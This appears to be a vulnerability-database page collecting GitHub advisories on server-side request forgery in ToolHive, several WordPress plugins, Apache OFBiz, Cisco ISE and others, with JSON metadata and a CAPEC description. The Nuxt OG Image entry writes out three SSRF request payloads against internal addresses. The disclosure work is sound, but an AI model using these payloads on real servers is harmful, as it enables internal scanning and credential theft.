`64:ff9b:1::/48` may use a shorter NAT64 prefix (RFC 6052 \u00a72.2) that places the embedded IPv4 outside the low 32 bits, the remainder of that `/48` is blocked wholesale (fail closed) rather than decoded, avoiding a false-negative bypass.\n\nAs bundled defense-in-depth, the same patch also classifies a few special-use ranges that `IsPrivateIP` previously missed: `0.0.0.0/8` (RFC 1122 \"this host\") and the unspecified address (`0.0.0.0` / `::`), plus `240.0.0.0/4` (RFC 1112 reserved, including the `255.255.255.255` broadcast). Separately tracked follow-ups (not in this patch): decoding/rejecting other IPv4-in-IPv6 transition ranges (6to4 `2002::/16`, Teredo `2001::/32`, IPv4-compatible `::/96`), and a pre-clone DNS-resolution check in the skills git resolver, which currently validates only literal IPs.\n\n## Resources\n\n- RFC 6052 \u2014 IPv6 Addressing of IPv4/IPv6 Translators (well-known prefix `64:ff9b::/96`)\n- RFC 8215 \u2014 Local-Use IPv4/IPv6 Translation Prefix (`64:ff9b:1::/48`)\n- RFC 6147 \u2014 DNS64\n- CWE-918 \u2014 Server-Side Request Forgery (SSRF)\n- ToolHive v0.29.0, commit `570ce07013b72208fcae339e9492f5867a1af994`",
  "id": "GHSA-pph6-vfjv-vpjw",
  "modified": "2026-07-15T21:51:03Z",
  "published": "2026-07-15T21:51:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/stacklok/toolhive/security/advisories/GHSA-pph6-vfjv-vpjw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/stacklok/toolhive"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "ToolHive: SSRF guard misses IPv6 NAT64 ranges (64:ff9b::/96, 64:ff9b:1::/48), allowing metadata/internal access behind a NAT64 gateway"
}

GHSA-PPJH-J3RW-5X4R

Vulnerability from github – Published: 2025-01-25 09:30 – Updated: 2025-01-25 09:30
VLAI
Details

The Contact Form by Bit Form: Multi Step Form, Calculation Contact Form, Payment Contact Form & Custom Contact Form builder plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.17.4 via the Webhooks integration. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. The vulnerability can also be exploited in Multisite environments.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-13450"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-25T09:15:07Z",
    "severity": "LOW"
  },
  "details": "The Contact Form by Bit Form: Multi Step Form, Calculation Contact Form, Payment Contact Form \u0026 Custom Contact Form builder plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.17.4 via the Webhooks integration. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. The vulnerability can also be exploited in Multisite environments.",
  "id": "GHSA-ppjh-j3rw-5x4r",
  "modified": "2025-01-25T09:30:54Z",
  "published": "2025-01-25T09:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13450"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/bit-form/trunk/includes/Admin/Form/AdminFormHandler.php#L1072"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/bit-form/trunk/includes/Admin/Form/AdminFormHandler.php#L1312"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/bit-form/trunk/includes/Core/Integration/WebHooks/WebHooksHandler.php#L190"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/bit-form/trunk/includes/Core/Integration/WebHooks/WebHooksHandler.php#L51"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/bit-form/trunk/includes/Core/Integration/WebHooks/WebHooksHandler.php#L96"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3227207"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d935f4c5-5d69-42d9-be22-7a44d9aa885a?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PPV4-WF78-868J

Vulnerability from github – Published: 2026-05-19 12:31 – Updated: 2026-05-19 21:32
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Apache OFBiz via Content component operations.

This issue affects Apache OFBiz: before 24.09.06.

Users are recommended to upgrade to version 24.09.06, which fixes the issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-29226"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-19T10:16:22Z",
    "severity": "HIGH"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Apache OFBiz via Content component operations.\n\nThis issue affects Apache OFBiz: before 24.09.06.\n\nUsers are recommended to upgrade to version 24.09.06, which fixes the issue.",
  "id": "GHSA-ppv4-wf78-868j",
  "modified": "2026-05-19T21:32:02Z",
  "published": "2026-05-19T12:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29226"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/6707wys8jxzmowxggn4cmtwwk9ygl2tr"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/19/16"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PQ4X-338R-CQ3H

Vulnerability from github – Published: 2026-05-22 09:31 – Updated: 2026-05-22 09:31
VLAI
Details

The FluentCRM – Email Newsletter, Automation, Email Marketing, Email Campaigns, Optins, Leads, and CRM Solution plugin for WordPress is vulnerable to Blind Server-Side Request Forgery in all versions up to, and including, 2.9.87 via the 'SubscribeURL' parameter. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. Exploitation requires that the SES bounce handling key ('_fc_bounce_key') has never been stored (i.e., the site is in its default/unconfigured state with respect to SES bounce handling) as visiting the bounce configuration page auto-generates and stores a random key that causes the authentication check to evaluate correctly and reject unauthenticated requests.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-7798"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-22T09:16:32Z",
    "severity": "MODERATE"
  },
  "details": "The FluentCRM \u2013 Email Newsletter, Automation, Email Marketing, Email Campaigns, Optins, Leads, and CRM Solution plugin for WordPress is vulnerable to Blind Server-Side Request Forgery in all versions up to, and including, 2.9.87 via the \u0027SubscribeURL\u0027 parameter. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. Exploitation requires that the SES bounce handling key (\u0027_fc_bounce_key\u0027) has never been stored (i.e., the site is in its default/unconfigured state with respect to SES bounce handling) as visiting the bounce configuration page auto-generates and stores a random key that causes the authentication check to evaluate correctly and reject unauthenticated requests.",
  "id": "GHSA-pq4x-338r-cq3h",
  "modified": "2026-05-22T09:31:28Z",
  "published": "2026-05-22T09:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7798"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/fluent-crm/tags/2.9.87/app/Hooks/Handlers/ExternalPages.php#L113"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/fluent-crm/tags/2.9.87/app/Hooks/Handlers/ExternalPages.php#L85"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/fluent-crm/tags/2.9.87/app/Hooks/Handlers/ExternalPages.php#L87"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/fluent-crm/trunk/app/Hooks/Handlers/ExternalPages.php#L113"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/fluent-crm/trunk/app/Hooks/Handlers/ExternalPages.php#L85"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/fluent-crm/trunk/app/Hooks/Handlers/ExternalPages.php#L87"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3532271%40fluent-crm\u0026new=3532271%40fluent-crm\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5c3ca2d7-7af9-401f-bc5a-1796c6253cb0?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PQ5G-3M7V-MF66

Vulnerability from github – Published: 2023-05-30 09:30 – Updated: 2024-04-04 04:23
VLAI
Details

The Orbit Fox by ThemeIsle WordPress plugin before 2.10.24 does not limit URLs which may be used for the stock photo import feature, allowing the user to specify arbitrary URLs. This leads to a server-side request forgery as the user may force the server to access any URL of their choosing.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-2287"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-30T08:15:10Z",
    "severity": "MODERATE"
  },
  "details": "The Orbit Fox by ThemeIsle WordPress plugin before 2.10.24 does not limit URLs which may be used for the stock photo import feature, allowing the user to specify arbitrary URLs. This leads to a server-side request forgery as the user may force the server to access any URL of their choosing.",
  "id": "GHSA-pq5g-3m7v-mf66",
  "modified": "2024-04-04T04:23:15Z",
  "published": "2023-05-30T09:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2287"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/1b36a184-2138-4a65-8940-07e7764669bb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PQ8J-3W2F-7PCX

Vulnerability from github – Published: 2022-05-24 19:07 – Updated: 2022-05-24 19:07
VLAI
Details

An SSRF vulnerability in the "Upload from URL" feature in Elements-IT HTTP Commander 5.3.3 allows remote authenticated users to retrieve HTTP and FTP files from the internal server network by inserting an internal address.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-33213"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-14T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An SSRF vulnerability in the \"Upload from URL\" feature in Elements-IT HTTP Commander 5.3.3 allows remote authenticated users to retrieve HTTP and FTP files from the internal server network by inserting an internal address.",
  "id": "GHSA-pq8j-3w2f-7pcx",
  "modified": "2022-05-24T19:07:59Z",
  "published": "2022-05-24T19:07:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33213"
    },
    {
      "type": "WEB",
      "url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-027.txt"
    },
    {
      "type": "WEB",
      "url": "https://www.syss.de/pentest-blog"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-PQCC-2W78-J9FQ

Vulnerability from github – Published: 2025-08-05 00:30 – Updated: 2025-08-05 00:30
VLAI
Details

A vulnerability classified as critical was found in cloudfavorites favorites-web up to 1.3.0. Affected by this vulnerability is the function getCollectLogoUrl of the file app/src/main/java/com/favorites/web/CollectController.java. The manipulation of the argument url leads to server-side request forgery. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-8529"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-04T23:15:28Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability classified as critical was found in cloudfavorites favorites-web up to 1.3.0. Affected by this vulnerability is the function getCollectLogoUrl of the file app/src/main/java/com/favorites/web/CollectController.java. The manipulation of the argument url leads to server-side request forgery. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-pqcc-2w78-j9fq",
  "modified": "2025-08-05T00:30:26Z",
  "published": "2025-08-05T00:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8529"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudfavorites/favorites-web/issues/134"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudfavorites/favorites-web/issues/134#issue-3252105130"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.318655"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.318655"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.622176"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PQH3-8X4P-M5M8

Vulnerability from github – Published: 2024-04-03 18:30 – Updated: 2024-04-03 18:30
VLAI
Details

A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to conduct a server-side request forgery (SSRF) attack through an affected device.

This vulnerability is due to improper input validation for specific HTTP requests. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to send arbitrary network requests that are sourced from the affected device. To successfully exploit this vulnerability, the attacker would need valid Super Admin credentials.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-20332"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-03T17:15:48Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to conduct a server-side request forgery (SSRF) attack through an affected device.\n\n This vulnerability is due to improper input validation for specific HTTP requests. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to send arbitrary network requests that are sourced from the affected device. To successfully exploit this vulnerability, the attacker would need valid Super Admin credentials.",
  "id": "GHSA-pqh3-8x4p-m5m8",
  "modified": "2024-04-03T18:30:41Z",
  "published": "2024-04-03T18:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20332"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-ssrf-FtSTh5Oz"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PQHR-MP3F-HRPP

Vulnerability from github – Published: 2026-03-31 23:26 – Updated: 2026-03-31 23:26
VLAI
Summary
Nuxt OG Image vulnerable to Server-Side Request Forgery via user-controlled parameters
Details

Product: Nuxt OG Image Version: < 6.2.5 CWE-ID: CWE-918: Server-Side Request Forgery

Description

The image generation endpoint (/_og/d/) accepts user-controlled parameters that are passed to the server-side renderer without proper validation or filtering. An attacker can trigger server-side requests to internal network addresses through multiple vectors.

Impact

  • Scanning internal ports and services inaccessible from the outside
  • Reading sensitive data from cloud infrastructure metadata services (tokens, credentials) when verbose error output is enabled

Attack Vectors

Three distinct vectors were identified, all exploiting the same underlying lack of URL validation:

Vector 1: CSS background-image injection via style parameter

GET /_og/d/og.png?style=background-image:+url('http://127.0.0.1:8888/secret')

Vector 2: <img src> injection via html parameter

GET /_og/d/og.png?html=<img src="http://127.0.0.1:8888/secret">

When verbose errors are enabled, the response content is leaked in base64-encoded error messages.

Vector 3: SVG <image href> injection via html parameter

GET /_og/d/og.png?html=<svg><image href="http://127.0.0.1:8888/secret"></svg>

Mitigation

Fixed in v6.2.5. The image source plugin now blocks requests to private IP ranges (IPv4/IPv6), loopback addresses, link-local addresses, and cloud metadata endpoints. Decimal/hexadecimal IP encoding bypasses are also handled.

Credits

Researcher: Dmitry Prokhorov (Positive Technologies)

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nuxt-og-image"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T23:26:29Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "**Product:** Nuxt OG Image\n**Version:** \u003c 6.2.5\n**CWE-ID:** [CWE-918](https://cwe.mitre.org/data/definitions/918.html): Server-Side Request Forgery\n\n## Description\n\nThe image generation endpoint (`/_og/d/`) accepts user-controlled parameters that are passed to the server-side renderer without proper validation or filtering. An attacker can trigger server-side requests to internal network addresses through multiple vectors.\n\n## Impact\n\n- Scanning internal ports and services inaccessible from the outside\n- Reading sensitive data from cloud infrastructure metadata services (tokens, credentials) when verbose error output is enabled\n\n## Attack Vectors\n\nThree distinct vectors were identified, all exploiting the same underlying lack of URL validation:\n\n### Vector 1: CSS `background-image` injection via `style` parameter\n\n```\nGET /_og/d/og.png?style=background-image:+url(\u0027http://127.0.0.1:8888/secret\u0027)\n```\n\n### Vector 2: `\u003cimg src\u003e` injection via `html` parameter\n\n```\nGET /_og/d/og.png?html=\u003cimg src=\"http://127.0.0.1:8888/secret\"\u003e\n```\n\nWhen verbose errors are enabled, the response content is leaked in base64-encoded error messages.\n\n### Vector 3: SVG `\u003cimage href\u003e` injection via `html` parameter\n\n```\nGET /_og/d/og.png?html=\u003csvg\u003e\u003cimage href=\"http://127.0.0.1:8888/secret\"\u003e\u003c/svg\u003e\n```\n\n## Mitigation\n\nFixed in v6.2.5. The image source plugin now blocks requests to private IP ranges (IPv4/IPv6), loopback addresses, link-local addresses, and cloud metadata endpoints. Decimal/hexadecimal IP encoding bypasses are also handled.\n\n## Credits\n\nResearcher: Dmitry Prokhorov (Positive Technologies)",
  "id": "GHSA-pqhr-mp3f-hrpp",
  "modified": "2026-03-31T23:26:29Z",
  "published": "2026-03-31T23:26:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nuxt-modules/og-image/security/advisories/GHSA-pqhr-mp3f-hrpp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nuxt-modules/og-image"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nuxt OG Image vulnerable to Server-Side Request Forgery via user-controlled parameters"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.